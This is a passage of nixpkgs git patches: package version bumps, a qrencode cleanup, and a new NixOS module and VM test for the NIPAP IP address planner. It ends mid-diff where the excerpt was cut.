by-name/ma}/mailutils/don-t-use-descrypt-password-in-the-test-suite.patch (100%) rename pkgs/{tools/networking => by-name/ma}/mailutils/fix-build-mb-len-max.patch (100%) rename pkgs/{tools/networking/mailutils/default.nix => by-name/ma/mailutils/package.nix} (100%) rename pkgs/{tools/networking => by-name/ma}/mailutils/path-to-cat.patch (100%) diff --git a/pkgs/tools/networking/mailutils/don-t-use-descrypt-password-in-the-test-suite.patch b/pkgs/by-name/ma/mailutils/don-t-use-descrypt-password-in-the-test-suite.patch similarity index 100% rename from pkgs/tools/networking/mailutils/don-t-use-descrypt-password-in-the-test-suite.patch rename to pkgs/by-name/ma/mailutils/don-t-use-descrypt-password-in-the-test-suite.patch diff --git a/pkgs/tools/networking/mailutils/fix-build-mb-len-max.patch b/pkgs/by-name/ma/mailutils/fix-build-mb-len-max.patch similarity index 100% rename from pkgs/tools/networking/mailutils/fix-build-mb-len-max.patch rename to pkgs/by-name/ma/mailutils/fix-build-mb-len-max.patch diff --git a/pkgs/tools/networking/mailutils/default.nix b/pkgs/by-name/ma/mailutils/package.nix similarity index 100% rename from pkgs/tools/networking/mailutils/default.nix rename to pkgs/by-name/ma/mailutils/package.nix diff --git a/pkgs/tools/networking/mailutils/path-to-cat.patch b/pkgs/by-name/ma/mailutils/path-to-cat.patch similarity index 100% rename from pkgs/tools/networking/mailutils/path-to-cat.patch rename to pkgs/by-name/ma/mailutils/path-to-cat.patch diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix index 2306420f1bf8..e9917b580922 100644 --- a/pkgs/top-level/all-packages.nix +++ b/pkgs/top-level/all-packages.nix @@ -3738,8 +3738,6 @@ with pkgs; libtool = if stdenv.hostPlatform.isDarwin then cctools else libtool; }; - mailutils = callPackage ../tools/networking/mailutils { }; - man = man-db; mangohud = callPackage ../tools/graphics/mangohud { From bee4a14cc7a78dff7d9457506f9ce3ece4ed5fbc Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 20:15:02 +0000 Subject: [PATCH 205/390] diesel-cli: 2.2.10 -> 2.2.11 --- pkgs/by-name/di/diesel-cli/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/di/diesel-cli/package.nix b/pkgs/by-name/di/diesel-cli/package.nix index 49b1bf26dd83..4c72fc27f2d8 100644 --- a/pkgs/by-name/di/diesel-cli/package.nix +++ b/pkgs/by-name/di/diesel-cli/package.nix @@ -27,16 +27,16 @@ assert lib.assertMsg (lib.elem true [ rustPlatform.buildRustPackage rec { pname = "diesel-cli"; - version = "2.2.10"; + version = "2.2.11"; src = fetchCrate { inherit version; crateName = "diesel_cli"; - hash = "sha256-ELl8jrTWu2pXn2+ZQh7Z/lrmxRCkCXCCXvXcAKF5IJg="; + hash = "sha256-utiIuifPxHjvC0TkY2XLeOlqReaal/4T4hrJ7tmQ27k="; }; useFetchCargoVendor = true; - cargoHash = "sha256-uijO0eAc9U7T5SDh3iCr/wC257Q83VOJGop4KADGfgA="; + cargoHash = "sha256-QHcH0jgBAYtyYJoaBJW92HR5ZBgdMLupe5+l22Wpfjg="; nativeBuildInputs = [ installShellFiles From 994be05a7667876e58b69ec5122a878a50abd42d Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 20:18:51 +0000 Subject: [PATCH 206/390] doppler: 3.75.0 -> 3.75.1 --- pkgs/by-name/do/doppler/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/do/doppler/package.nix b/pkgs/by-name/do/doppler/package.nix index 846c523de7e2..d494dbe6ed19 100644 --- a/pkgs/by-name/do/doppler/package.nix +++ b/pkgs/by-name/do/doppler/package.nix @@ -10,13 +10,13 @@ buildGoModule rec { pname = "doppler"; - version = "3.75.0"; + version = "3.75.1"; src = fetchFromGitHub { owner = "dopplerhq"; repo = "cli"; rev = version; - hash = "sha256-hxCrAsie44jBNp7UtjTcJmjgNXUc9I/aIsq1UL/pbg8="; + hash = "sha256-YyhDvBgdcy3CtVpQj60XQ0aqE2zT1LV9QXQJiJvlaic="; }; vendorHash = "sha256-tSRtgkDPvDlEfwuNhahvs3Pvt4h7QAJrJtb1XQXGaFM="; From 8697db8260ae53074d5837ccfe092a2cce3fab58 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 20:27:28 +0000 Subject: [PATCH 207/390] circleci-cli: 0.1.32367 -> 0.1.32580 --- pkgs/by-name/ci/circleci-cli/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ci/circleci-cli/package.nix b/pkgs/by-name/ci/circleci-cli/package.nix index 2b2778ad6d28..14e927cb786b 100644 --- a/pkgs/by-name/ci/circleci-cli/package.nix +++ b/pkgs/by-name/ci/circleci-cli/package.nix @@ -7,16 +7,16 @@ buildGoModule rec { pname = "circleci-cli"; - version = "0.1.32367"; + version = "0.1.32580"; src = fetchFromGitHub { owner = "CircleCI-Public"; repo = "circleci-cli"; rev = "v${version}"; - sha256 = "sha256-8phKDgZPMJlZryCAUy2Jtk2BdMbeCQ9RdhEfkN7MEWc="; + sha256 = "sha256-BeujMfaW5byZn25OpP1SbAuw0J9of6csw+LK9SVcu+A="; }; - vendorHash = "sha256-mMMZ0EntLT9YC0Q1ya/uTRA2cl95aqg/XBtLXC7ufqc="; + vendorHash = "sha256-RQK51VSag1AkJMa/rmWpSuuzhRqSG2a3+sNisp0q7lU="; nativeBuildInputs = [ installShellFiles ]; From f1c8b25dab4643dfcf6dc491432848f15e2c204b Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 20:29:51 +0000 Subject: [PATCH 208/390] cargo-xwin: 0.18.6 -> 0.19.0 --- pkgs/by-name/ca/cargo-xwin/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ca/cargo-xwin/package.nix b/pkgs/by-name/ca/cargo-xwin/package.nix index c6b956a43685..e9c441fb4eb4 100644 --- a/pkgs/by-name/ca/cargo-xwin/package.nix +++ b/pkgs/by-name/ca/cargo-xwin/package.nix @@ -6,17 +6,17 @@ rustPlatform.buildRustPackage rec { pname = "cargo-xwin"; - version = "0.18.6"; + version = "0.19.0"; src = fetchFromGitHub { owner = "rust-cross"; repo = "cargo-xwin"; rev = "v${version}"; - hash = "sha256-srPXWJAMc5IOLucGg0QNG23aqMABftQTM3PjcbZc8+A="; + hash = "sha256-uu3fKq6ZebDbTBpp5UaAOCWnaeJ0xRgVO+GNDHheKGA="; }; useFetchCargoVendor = true; - cargoHash = "sha256-1JJSK7Ss4o/Vk1mxQtNfTLOuA5fwfKpcv5MrsJEuXYU="; + cargoHash = "sha256-/u1qBe+eOAXqjgly62eFIglO3XuZd/f2w7DcHsqvZGA="; meta = with lib; { description = "Cross compile Cargo project to Windows MSVC target with ease"; From 9d644e7eedb4abfb24b34185f9c27bfd1a99fb6f Mon Sep 17 00:00:00 2001 From: Michael Daniels Date: Fri, 20 Jun 2025 13:43:10 -0400 Subject: [PATCH 209/390] qrencode: adopt, cleanup * Switched `rev` to `tag`. * Added `passthru.updateScript` * Removed `with lib;` from `meta` * Updated `meta.description` and `meta.longDescription` to reflect that there is a CLI tool too. * Adopted. --- pkgs/by-name/qr/qrencode/package.nix | 29 +++++++++++++++++----------- 1 file changed, 18 insertions(+), 11 deletions(-) diff --git a/pkgs/by-name/qr/qrencode/package.nix b/pkgs/by-name/qr/qrencode/package.nix index feb29facbfdc..81c6e516c1c2 100644 --- a/pkgs/by-name/qr/qrencode/package.nix +++ b/pkgs/by-name/qr/qrencode/package.nix @@ -2,6 +2,7 @@ lib, stdenv, fetchFromGitHub, + nix-update-script, pkg-config, libpng, libiconv, @@ -22,7 +23,7 @@ stdenv.mkDerivation (finalAttrs: { src = fetchFromGitHub { owner = "fukuchi"; repo = "libqrencode"; - rev = "v${finalAttrs.version}"; + tag = "v${finalAttrs.version}"; hash = "sha256-nbrmg9SqCqMrLE7WCfNEzMV/eS9UVCKCrjBrGMzAsLk"; }; @@ -48,22 +49,28 @@ stdenv.mkDerivation (finalAttrs: { runHook postCheck ''; - passthru.tests = finalAttrs.finalPackage.overrideAttrs (_: { - configureFlags = [ "--with-tests" ]; - doCheck = true; - }); + passthru = { + tests = finalAttrs.finalPackage.overrideAttrs { + configureFlags = [ "--with-tests" ]; + doCheck = true; + }; + updateScript = nix-update-script { }; + }; - meta = with lib; { + meta = { homepage = "https://fukuchi.org/works/qrencode/"; - description = "C library for encoding data in a QR Code symbol"; + description = "C library and command line tool for encoding data in a QR Code symbol"; longDescription = '' Libqrencode is a C library for encoding data in a QR Code symbol, a kind of 2D symbology that can be scanned by handy terminals - such as a mobile phone with CCD. + such as a smartphone. + + The library also contains qrencode, a command-line utility to output + QR Code images in various formats. ''; - license = licenses.lgpl21Plus; - maintainers = [ ]; - platforms = platforms.all; + license = lib.licenses.lgpl21Plus; + maintainers = [ lib.maintainers.mdaniels5757 ]; + platforms = lib.platforms.all; mainProgram = "qrencode"; }; }) From 5810a0aaaa00c883ac81689d8bad30765f631858 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 14:54:21 +0000 Subject: [PATCH 210/390] avrdude: 8.0 -> 8.1 --- pkgs/by-name/av/avrdude/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/av/avrdude/package.nix b/pkgs/by-name/av/avrdude/package.nix index ffa722674445..30227818dd69 100644 --- a/pkgs/by-name/av/avrdude/package.nix +++ b/pkgs/by-name/av/avrdude/package.nix @@ -31,13 +31,13 @@ in stdenv.mkDerivation (finalAttrs: { pname = "avrdude"; - version = "8.0"; + version = "8.1"; src = fetchFromGitHub { owner = "avrdudes"; repo = "avrdude"; rev = "v${finalAttrs.version}"; - sha256 = "w58HVCvKuWpGJwllupbj7ndeq4iE9LPs/IjFSUN0DOU="; + sha256 = "sha256-i1q0NQKVd/wiOm1Amop3hW+FWuefFOQCCivuEtEH38k="; }; nativeBuildInputs = From a013d9258c510d8660e64aaf1200946864959d6a Mon Sep 17 00:00:00 2001 From: Luke Granger-Brown Date: Sun, 15 Jun 2025 20:04:30 +0100 Subject: [PATCH 211/390] nixos/nipap: init --- .../manual/release-notes/rl-2511.section.md | 2 + nixos/modules/module-list.nix | 1 + nixos/modules/services/web-apps/nipap.nix | 331 ++++++++++++++++++ .../flask-xml-rpc-re/default.nix | 4 +- pkgs/servers/sql/postgresql/ext/ip4r.nix | 1 - 5 files changed, 337 insertions(+), 2 deletions(-) create mode 100644 nixos/modules/services/web-apps/nipap.nix diff --git a/nixos/doc/manual/release-notes/rl-2511.section.md b/nixos/doc/manual/release-notes/rl-2511.section.md index 295d9ede7118..68cb1da77d91 100644 --- a/nixos/doc/manual/release-notes/rl-2511.section.md +++ b/nixos/doc/manual/release-notes/rl-2511.section.md @@ -40,6 +40,8 @@ - [Szurubooru](https://github.com/rr-/szurubooru), an image board engine inspired by services such as Danbooru, dedicated for small and medium communities. Available as [services.szurubooru](#opt-services.szurubooru.enable). +- The [Neat IP Address Planner](https://spritelink.github.io/NIPAP/) (NIPAP) can now be enabled through [services.nipap.enable](#opt-services.nipap.enable). + - [nix-store-veritysetup](https://github.com/nikstur/nix-store-veritysetup-generator), a systemd generator to unlock the Nix Store as a dm-verity protected block device. Available as [boot.initrd.nix-store-veritysetup](options.html#opt-boot.initrd.nix-store-veritysetup.enable). - [SuiteNumérique Docs](https://github.com/suitenumerique/docs), a collaborative note taking, wiki and documentation web platform and alternative to Notion or Outline. Available as [services.lasuite-docs](#opt-services.lasuite-docs.enable). diff --git a/nixos/modules/module-list.nix b/nixos/modules/module-list.nix index 036490c9589a..7e14a5e809b5 100644 --- a/nixos/modules/module-list.nix +++ b/nixos/modules/module-list.nix @@ -1617,6 +1617,7 @@ ./services/web-apps/nextjs-ollama-llm-ui.nix ./services/web-apps/nexus.nix ./services/web-apps/nifi.nix + ./services/web-apps/nipap.nix ./services/web-apps/node-red.nix ./services/web-apps/nostr-rs-relay.nix ./services/web-apps/ocis.nix diff --git a/nixos/modules/services/web-apps/nipap.nix b/nixos/modules/services/web-apps/nipap.nix new file mode 100644 index 000000000000..3a8e082ad037 --- /dev/null +++ b/nixos/modules/services/web-apps/nipap.nix @@ -0,0 +1,331 @@ +{ + config, + lib, + pkgs, + ... +}: + +let + cfg = config.services.nipap; + iniFmt = pkgs.formats.ini { }; + + configFile = iniFmt.generate "nipap.conf" cfg.settings; + + defaultUser = "nipap"; + defaultAuthBackend = "local"; + dataDir = "/var/lib/nipap"; + + defaultServiceConfig = { + WorkingDirectory = dataDir; + User = cfg.user; + Group = config.users.users."${cfg.user}".group; + Restart = "on-failure"; + RestartSec = 30; + }; + + escapedHost = host: if lib.hasInfix ":" host then "[${host}]" else host; +in +{ + options.services.nipap = { + enable = lib.mkEnableOption "global Neat IP Address Planner (NIPAP) configuration"; + + user = lib.mkOption { + type = lib.types.str; + description = "User to use for running NIPAP services."; + default = defaultUser; + }; + + settings = lib.mkOption { + description = '' + Configuration options to set in /etc/nipap/nipap.conf. + ''; + + default = { }; + + type = lib.types.submodule { + freeformType = iniFmt.type; + + options = { + nipapd = { + listen = lib.mkOption { + type = lib.types.str; + default = "::1"; + description = "IP address to bind nipapd to."; + }; + port = lib.mkOption { + type = lib.types.port; + default = 1337; + description = "Port to bind nipapd to."; + }; + + foreground = lib.mkOption { + type = lib.types.bool; + default = true; + description = "Remain in foreground rather than forking to background."; + }; + debug = lib.mkOption { + type = lib.types.bool; + default = false; + description = "Enable debug logging."; + }; + + db_host = lib.mkOption { + type = lib.types.str; + default = ""; + description = "PostgreSQL host to connect to. Empty means use UNIX socket."; + }; + db_name = lib.mkOption { + type = lib.types.str; + default = cfg.user; + defaultText = defaultUser; + description = "Name of database to use on PostgreSQL server."; + }; + }; + + auth = { + default_backend = lib.mkOption { + type = lib.types.str; + default = defaultAuthBackend; + description = "Name of auth backend to use by default."; + }; + auth_cache_timeout = lib.mkOption { + type = lib.types.int; + default = 3600; + description = "Seconds to store cached auth entries for."; + }; + }; + }; + }; + }; + + authBackendSettings = lib.mkOption { + description = '' + auth.backends options to set in /etc/nipap/nipap.conf. + ''; + + default = { + "${defaultAuthBackend}" = { + type = "SqliteAuth"; + db_path = "${dataDir}/local_auth.db"; + }; + }; + + type = lib.types.submodule { + freeformType = iniFmt.type; + }; + }; + + nipapd = { + enable = lib.mkEnableOption "nipapd server"; + package = lib.mkPackageOption pkgs "nipap" { }; + + database.createLocally = lib.mkOption { + type = lib.types.bool; + default = true; + description = "Create a nipap database automatically."; + }; + }; + + nipap-www = { + enable = lib.mkEnableOption "nipap-www server"; + package = lib.mkPackageOption pkgs "nipap-www" { }; + + xmlrpcURIFile = lib.mkOption { + type = lib.types.nullOr lib.types.path; + default = null; + description = "Path to file containing XMLRPC URI for use by web UI - this is a secret, since it contains auth credentials. If null, it will be initialized assuming that the auth database is local."; + }; + + workers = lib.mkOption { + type = lib.types.int; + default = 4; + description = "Number of worker processes for Gunicorn to fork."; + }; + umask = lib.mkOption { + type = lib.types.str; + default = "0"; + description = "umask for files written by Gunicorn, including UNIX socket."; + }; + + unixSocket = lib.mkOption { + type = lib.types.nullOr lib.types.str; + default = null; + description = "Path to UNIX socket to bind to."; + example = "/run/nipap/nipap-www.sock"; + }; + host = lib.mkOption { + type = lib.types.nullOr lib.types.str; + default = "::"; + description = "Host to bind to."; + }; + port = lib.mkOption { + type = lib.types.nullOr lib.types.port; + default = 21337; + description = "Port to bind to."; + }; + }; + }; + + config = lib.mkIf cfg.enable ( + lib.mkMerge [ + { + systemd.tmpfiles.rules = [ + "d '${dataDir}' - ${cfg.user} ${config.users.users."${cfg.user}".group} - -" + ]; + + environment.etc."nipap/nipap.conf" = { + source = configFile; + }; + + services.nipap.settings = lib.attrsets.mapAttrs' (name: value: { + name = "auth.backends.${name}"; + inherit value; + }) cfg.authBackendSettings; + + services.nipap.nipapd.enable = lib.mkDefault true; + services.nipap.nipap-www.enable = lib.mkDefault true; + + environment.systemPackages = [ + cfg.nipapd.package + ]; + } + (lib.mkIf (cfg.user == defaultUser) { + users.users."${defaultUser}" = { + isSystemUser = true; + group = defaultUser; + home = dataDir; + }; + users.groups."${defaultUser}" = { }; + }) + (lib.mkIf (cfg.nipapd.enable && cfg.nipapd.database.createLocally) { + services.postgresql = { + enable = true; + extensions = ps: with ps; [ ip4r ]; + ensureUsers = [ + { + name = cfg.user; + } + ]; + ensureDatabases = [ cfg.settings.nipapd.db_name ]; + }; + + systemd.services.postgresql.serviceConfig.ExecStartPost = + let + sqlFile = pkgs.writeText "nipapd-setup.sql" '' + CREATE EXTENSION IF NOT EXISTS ip4r; + + ALTER SCHEMA public OWNER TO "${cfg.user}"; + ALTER DATABASE "${cfg.settings.nipapd.db_name}" OWNER TO "${cfg.user}"; + ''; + in + [ + '' + ${lib.getExe' config.services.postgresql.finalPackage "psql"} -d "${cfg.settings.nipapd.db_name}" -f "${sqlFile}" + '' + ]; + }) + (lib.mkIf cfg.nipapd.enable { + systemd.services.nipapd = + let + pkg = cfg.nipapd.package; + in + { + description = "Neat IP Address Planner"; + after = [ + "network.target" + "systemd-tmpfiles-setup.service" + ] ++ lib.optional (cfg.settings.nipapd.db_host == "") "postgresql.service"; + requires = lib.optional (cfg.settings.nipapd.db_host == "") "postgresql.service"; + wantedBy = [ "multi-user.target" ]; + preStart = lib.optionalString (cfg.settings.auth.default_backend == defaultAuthBackend) '' + # Create/upgrade local auth database + umask 077 + ${pkg}/bin/nipap-passwd create-database >/dev/null 2>&1 + ${pkg}/bin/nipap-passwd upgrade-database >/dev/null 2>&1 + ''; + serviceConfig = defaultServiceConfig // { + KillSignal = "SIGINT"; + ExecStart = '' + ${pkg}/bin/nipapd \ + --auto-install-db \ + --auto-upgrade-db \ + --foreground \ + --no-pid-file + ''; + }; + }; + }) + (lib.mkIf cfg.nipap-www.enable { + assertions = [ + { + assertion = + cfg.nipap-www.xmlrpcURIFile == null -> cfg.settings.auth.default_backend == defaultAuthBackend; + message = "If no XMLRPC URI secret file is specified, then the default auth backend must be in use to automatically generate credentials."; + } + ]; + + # Ensure that _something_ exists in the [www] group. + services.nipap.settings.www = lib.mkDefault { }; + + systemd.services.nipap-www = + let + pkg = cfg.nipap-www.package; + in + { + description = "Neat IP Address Planner web server"; + after = [ + "network.target" + "systemd-tmpfiles-setup.service" + ] ++ lib.optional cfg.nipapd.enable "nipapd.service"; + wantedBy = [ "multi-user.target" ]; + environment = { + PYTHONPATH = pkg.pythonPath; + }; + serviceConfig = defaultServiceConfig; + script = + let + bind = + if cfg.nipap-www.unixSocket != null then + "unix:${cfg.nipap-www.unixSocket}" + else + "${escapedHost cfg.nipap-www.host}:${toString cfg.nipap-www.port}"; + generateXMLRPC = cfg.nipap-www.xmlrpcURIFile == null; + xmlrpcURIFile = if generateXMLRPC then "${dataDir}/www_xmlrpc_uri" else cfg.nipap-www.xmlrpcURIFile; + in + '' + test -f "${dataDir}/www_secret" || { + umask 0077 + ${pkg.python}/bin/python -c "import secrets; print(secrets.token_hex())" > "${dataDir}/www_secret" + } + export FLASK_SECRET_KEY="$(cat "${dataDir}/www_secret")" + + # Ensure that we have an XMLRPC URI. + ${ + if generateXMLRPC then + '' + test -f "${dataDir}/www_xmlrpc_uri" || { + umask 0077 + www_password="$(${pkg.python}/bin/python -c "import secrets; print(secrets.token_hex())")" + ${cfg.nipapd.package}/bin/nipap-passwd add --username nipap-www --password "''${www_password}" --name "User account for the web UI" --trusted + + echo "http://nipap-www@${defaultAuthBackend}:''${www_password}@${escapedHost cfg.settings.nipapd.listen}:${toString cfg.settings.nipapd.port}" > "${xmlrpcURIFile}" + } + '' + else + "" + } + export FLASK_XMLRPC_URI="$(cat "${xmlrpcURIFile}")" + + exec "${pkg.gunicorn}/bin/gunicorn" \ + --preload --workers ${toString cfg.nipap-www.workers} \ + --pythonpath "${pkg}/${pkg.python.sitePackages}" \ + --bind ${bind} --umask ${cfg.nipap-www.umask} \ + "nipapwww:create_app()" + ''; + }; + }) + ] + ); + + meta.maintainers = with lib.maintainers; [ lukegb ]; +} diff --git a/pkgs/development/python-modules/flask-xml-rpc-re/default.nix b/pkgs/development/python-modules/flask-xml-rpc-re/default.nix index ed85b18fab09..fd018de05e11 100644 --- a/pkgs/development/python-modules/flask-xml-rpc-re/default.nix +++ b/pkgs/development/python-modules/flask-xml-rpc-re/default.nix @@ -30,8 +30,10 @@ buildPythonPackage rec { nose2 ]; - checkPhase = '' + installCheckPhase = '' + runHook preInstallCheck nose2 -v + runHook postInstallCheck ''; pythonImportsCheck = [ "flask_xmlrpcre" ]; diff --git a/pkgs/servers/sql/postgresql/ext/ip4r.nix b/pkgs/servers/sql/postgresql/ext/ip4r.nix index 277ec10618a6..142ea551c03f 100644 --- a/pkgs/servers/sql/postgresql/ext/ip4r.nix +++ b/pkgs/servers/sql/postgresql/ext/ip4r.nix @@ -1,6 +1,5 @@ { fetchFromGitHub, - gitUpdater, lib, postgresql, postgresqlBuildExtension, From 9f7948fbecd670768e1372773a301d21916c6bb0 Mon Sep 17 00:00:00 2001 From: Luke Granger-Brown Date: Sun, 22 Jun 2025 23:54:07 +0100 Subject: [PATCH 212/390] nixosTests.nipap: init nipap test --- nixos/tests/all-tests.nix | 1 + nixos/tests/web-apps/nipap.nix | 69 +++++++++++++++++++++++++++ pkgs/by-name/ni/nipap-cli/package.nix | 3 ++ pkgs/by-name/ni/nipap-www/package.nix | 2 + 4 files changed, 75 insertions(+) create mode 100644 nixos/tests/web-apps/nipap.nix diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix index 60d118cba38f..7ef46a25e9cb 100644 --- a/nixos/tests/all-tests.nix +++ b/nixos/tests/all-tests.nix @@ -938,6 +938,7 @@ in nginx-unix-socket = runTest ./nginx-unix-socket.nix; nginx-variants = import ./nginx-variants.nix { inherit pkgs runTest; }; nifi = runTestOn [ "x86_64-linux" ] ./web-apps/nifi.nix; + nipap = runTest ./web-apps/nipap.nix; nitter = runTest ./nitter.nix; nix-config = runTest ./nix-config.nix; nix-ld = runTest ./nix-ld.nix; diff --git a/nixos/tests/web-apps/nipap.nix b/nixos/tests/web-apps/nipap.nix new file mode 100644 index 000000000000..bb6f77a1e9d1 --- /dev/null +++ b/nixos/tests/web-apps/nipap.nix @@ -0,0 +1,69 @@ +{ pkgs, lib, ... }: + +let + nipapRc = pkgs.writeText "nipaprc" '' + [global] + hostname = [::1] + port = 1337 + username = nixostest + password = nIx0st3st + default_vrf_rt = - + default_list_vrf_rt = all + ''; +in +{ + name = "lukegb"; + meta.maintainers = [ lib.maintainers.lukegb ]; + + nodes.main = + { ... }: + { + services.nipap = { + enable = true; + }; + + environment.systemPackages = [ + pkgs.nipap-cli + ]; + }; + + testScript = '' + main.wait_for_unit("nipapd.service") + main.wait_for_unit("nipap-www.service") + + # Make sure the web UI is up. + main.wait_for_open_port(21337) + main.succeed("curl -fvvv -Ls http://localhost:21337/ | grep 'NIPAP'") + + # Check that none of the files we created in /var/lib/nipap are readable. + out = main.succeed("ls -l /var/lib/nipap") + bad_perms = False + for ln in out.split("\n"): + ln = ln.strip() + if not ln or ln.startswith('total '): + continue + if not ln.startswith('-rw------- '): + print(f"Bad file permissions: {ln}") + bad_perms = True + if bad_perms: + t.fail("One or more files were overly permissive.") + + # Check we created a web-frontend user. + main.succeed("nipap-passwd list | grep nipap-www") + + # Create a test user + main.succeed("nipap-passwd add -u nixostest -p nIx0st3st -n 'NixOS Test User'") + + # Try to log in with it on the web frontend + main.succeed("curl -fvvv -Ls -b \"\" -d username=nixostest -d password=nIx0st3st http://localhost:21337/auth/login | grep 'PrefixListController'") + + # Try to log in with it using the CLI + main.copy_from_host("${nipapRc}", "/root/.nipaprc") + main.succeed("chmod u=rw,go= /root/.nipaprc") + main.succeed("nipap address add prefix 192.0.2.0/24 type assignment description RFC1166") + main.succeed("nipap address add prefix 192.0.2.1/32 type host description 'test host'") + main.succeed("nipap address add prefix 2001:db8::/32 type reservation description RFC3849") + main.succeed("nipap address add prefix 2001:db8:f00f::/48 type assignment description 'eye pee vee six'") + main.succeed("nipap address add prefix 2001:db8:f00f:face:dead:beef:cafe:feed/128 type host description 'test host 2'") + ''; +} diff --git a/pkgs/by-name/ni/nipap-cli/package.nix b/pkgs/by-name/ni/nipap-cli/package.nix index 4568bfe13755..aeb9f33236bf 100644 --- a/pkgs/by-name/ni/nipap-cli/package.nix +++ b/pkgs/by-name/ni/nipap-cli/package.nix @@ -1,6 +1,7 @@ { lib, python312Packages, + nixosTests, }: let @@ -35,6 +36,8 @@ python3Packages.buildPythonApplication rec { "nipap_cli.nipap_cli" ]; + passthru.tests.nixos = nixosTests.nipap; + meta = { description = "Neat IP Address Planner CLI"; longDescription = '' diff --git a/pkgs/by-name/ni/nipap-www/package.nix b/pkgs/by-name/ni/nipap-www/package.nix index 33355ce94a28..420c7a913da8 100644 --- a/pkgs/by-name/ni/nipap-www/package.nix +++ b/pkgs/by-name/ni/nipap-www/package.nix @@ -1,6 +1,7 @@ { lib, python3Packages, + nixosTests, }: python3Packages.buildPythonApplication rec { @@ -32,6 +33,7 @@ python3Packages.buildPythonApplication rec { passthru = { inherit (python3Packages) gunicorn python; pythonPath = python3Packages.makePythonPath dependencies; + tests.nixos = nixosTests.nipap; }; meta = { From a081327e235368cfc04c6cf0689dec625cdad68d Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 22:53:46 +0200 Subject: [PATCH 213/390] python3Packages.aioamazondevices: 3.1.12 -> 3.1.14 https://github.com/chemelli74/aioamazondevices/blob/v3.1.14/CHANGELOG.md --- pkgs/development/python-modules/aioamazondevices/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/aioamazondevices/default.nix b/pkgs/development/python-modules/aioamazondevices/default.nix index f9c3347fffb2..ac6ed8e10565 100644 --- a/pkgs/development/python-modules/aioamazondevices/default.nix +++ b/pkgs/development/python-modules/aioamazondevices/default.nix @@ -16,14 +16,14 @@ buildPythonPackage rec { pname = "aioamazondevices"; - version = "3.1.12"; + version = "3.1.14"; pyproject = true; src = fetchFromGitHub { owner = "chemelli74"; repo = "aioamazondevices"; tag = "v${version}"; - hash = "sha256-nilYImyK057/yO/pnnhM9S+vRcslLLKTsYIzGNFM2UQ="; + hash = "sha256-xCXzNeUIw2UxBcOMgab1lpN9/0RGLZAwgtHkZhwqxxY="; }; build-system = [ poetry-core ]; From 9844427d4f9a5601d6a6353ca19547478213a541 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 22:55:03 +0200 Subject: [PATCH 214/390] python3Packages.aioesphomeapi: 32.2.1 -> 33.1.1 https://github.com/esphome/aioesphomeapi/releases/tag/v33.1.1 --- pkgs/development/python-modules/aioesphomeapi/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/aioesphomeapi/default.nix b/pkgs/development/python-modules/aioesphomeapi/default.nix index b3c309d11b75..9aca8a3b8be2 100644 --- a/pkgs/development/python-modules/aioesphomeapi/default.nix +++ b/pkgs/development/python-modules/aioesphomeapi/default.nix @@ -26,7 +26,7 @@ buildPythonPackage rec { pname = "aioesphomeapi"; - version = "32.2.1"; + version = "33.1.1"; pyproject = true; disabled = pythonOlder "3.9"; @@ -35,7 +35,7 @@ buildPythonPackage rec { owner = "esphome"; repo = "aioesphomeapi"; tag = "v${version}"; - hash = "sha256-1ZepZJdJosPPdFhx8PwArIaoz415GfA1vfc3JJ77LNo="; + hash = "sha256-vXBTumh1oB1vTVlX4VJvIUTnkYLG9j/8cNuHFQ2PklY="; }; build-system = [ From 9ffbe82e18e641abe85c7e5570f42c71dbf1f1b3 Mon Sep 17 00:00:00 2001 From: "R. RyanTM" Date: Tue, 24 Jun 2025 06:57:20 +1000 Subject: [PATCH 215/390] python3Packages.bthome-ble: 3.13.0 -> 3.13.1 (#416937) https://github.com/bluetooth-devices/bthome-ble/blob/v3.13.1/CHANGELOG.md Co-Authored-By: Fabian Affolter --- pkgs/development/python-modules/bthome-ble/default.nix | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/pkgs/development/python-modules/bthome-ble/default.nix b/pkgs/development/python-modules/bthome-ble/default.nix index 15a164235268..5d9294e1b658 100644 --- a/pkgs/development/python-modules/bthome-ble/default.nix +++ b/pkgs/development/python-modules/bthome-ble/default.nix @@ -8,23 +8,20 @@ poetry-core, pytest-cov-stub, pytestCheckHook, - pythonOlder, pytz, sensor-state-data, }: buildPythonPackage rec { pname = "bthome-ble"; - version = "3.13.0"; + version = "3.13.1"; pyproject = true; - disabled = pythonOlder "3.9"; - src = fetchFromGitHub { owner = "Bluetooth-Devices"; repo = "bthome-ble"; tag = "v${version}"; - hash = "sha256-e6R3Qjj82z0E+gIxqDVM08Op3KlK9ZG1iNmkqqIEjWY="; + hash = "sha256-oGFjWe9e386EPAJGKL8Qk55iXoyW3rXuyG7ElyQYurg="; }; build-system = [ poetry-core ]; From b3ea12521f362a9201da2c4b506225ed743ad593 Mon Sep 17 00:00:00 2001 From: Martin Weinelt Date: Mon, 23 Jun 2025 22:59:00 +0200 Subject: [PATCH 216/390] python3Packages.deebot-client: 13.3.0 -> 13.4.0 https://github.com/DeebotUniverse/client.py/releases/tag/13.4.0 --- pkgs/development/python-modules/deebot-client/default.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git 